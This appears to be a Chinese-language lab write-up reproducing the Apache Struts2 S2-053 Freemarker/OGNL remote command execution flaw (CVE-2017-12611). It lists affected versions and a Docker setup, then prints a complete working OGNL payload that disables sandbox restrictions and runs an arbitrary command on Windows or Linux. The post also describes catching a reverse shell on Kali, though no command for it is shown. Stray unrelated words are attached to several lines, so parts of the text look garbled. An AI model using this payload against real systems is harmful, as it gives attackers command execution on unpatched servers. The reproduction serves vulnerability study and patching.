Apache struts2 Freemarker標籤遠程命令執行_CVE-2017-12611(S2-053)漏洞復現java
1、漏洞描述docker
Struts2在使用Freemarker模塊引擎的時候,同時容許解析OGNL表達式。致使用戶輸入的數據自己不會被OGNL解析,可是因爲被Freemarker解析一次後變成離開一個表達式,被OGNL解析第二次,致使任意命令執行漏洞。shell
2、漏洞影響版本apache
Struts 2.0.1-struts 2.3.33瀏覽器
Struts 2.5-Struts 2.5.10bash
3、漏洞環境搭建ui
1.使用docker搭建環境spa
4、漏洞復現3d
一、啓動環境code
二、瀏覽器訪問
POC以下:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))} 注: 執行命令的地方在於(#cmd=’id’)
三、查看用戶所屬組
四、反彈shell,把shell反彈到kali上
五、在kali 端開啓監聽,能夠看到成功得到目標反彈過來的shell
5、漏洞防護
一、 Apache Struts版本最新版本
二、 Freemarker標籤不要經過Request方式獲取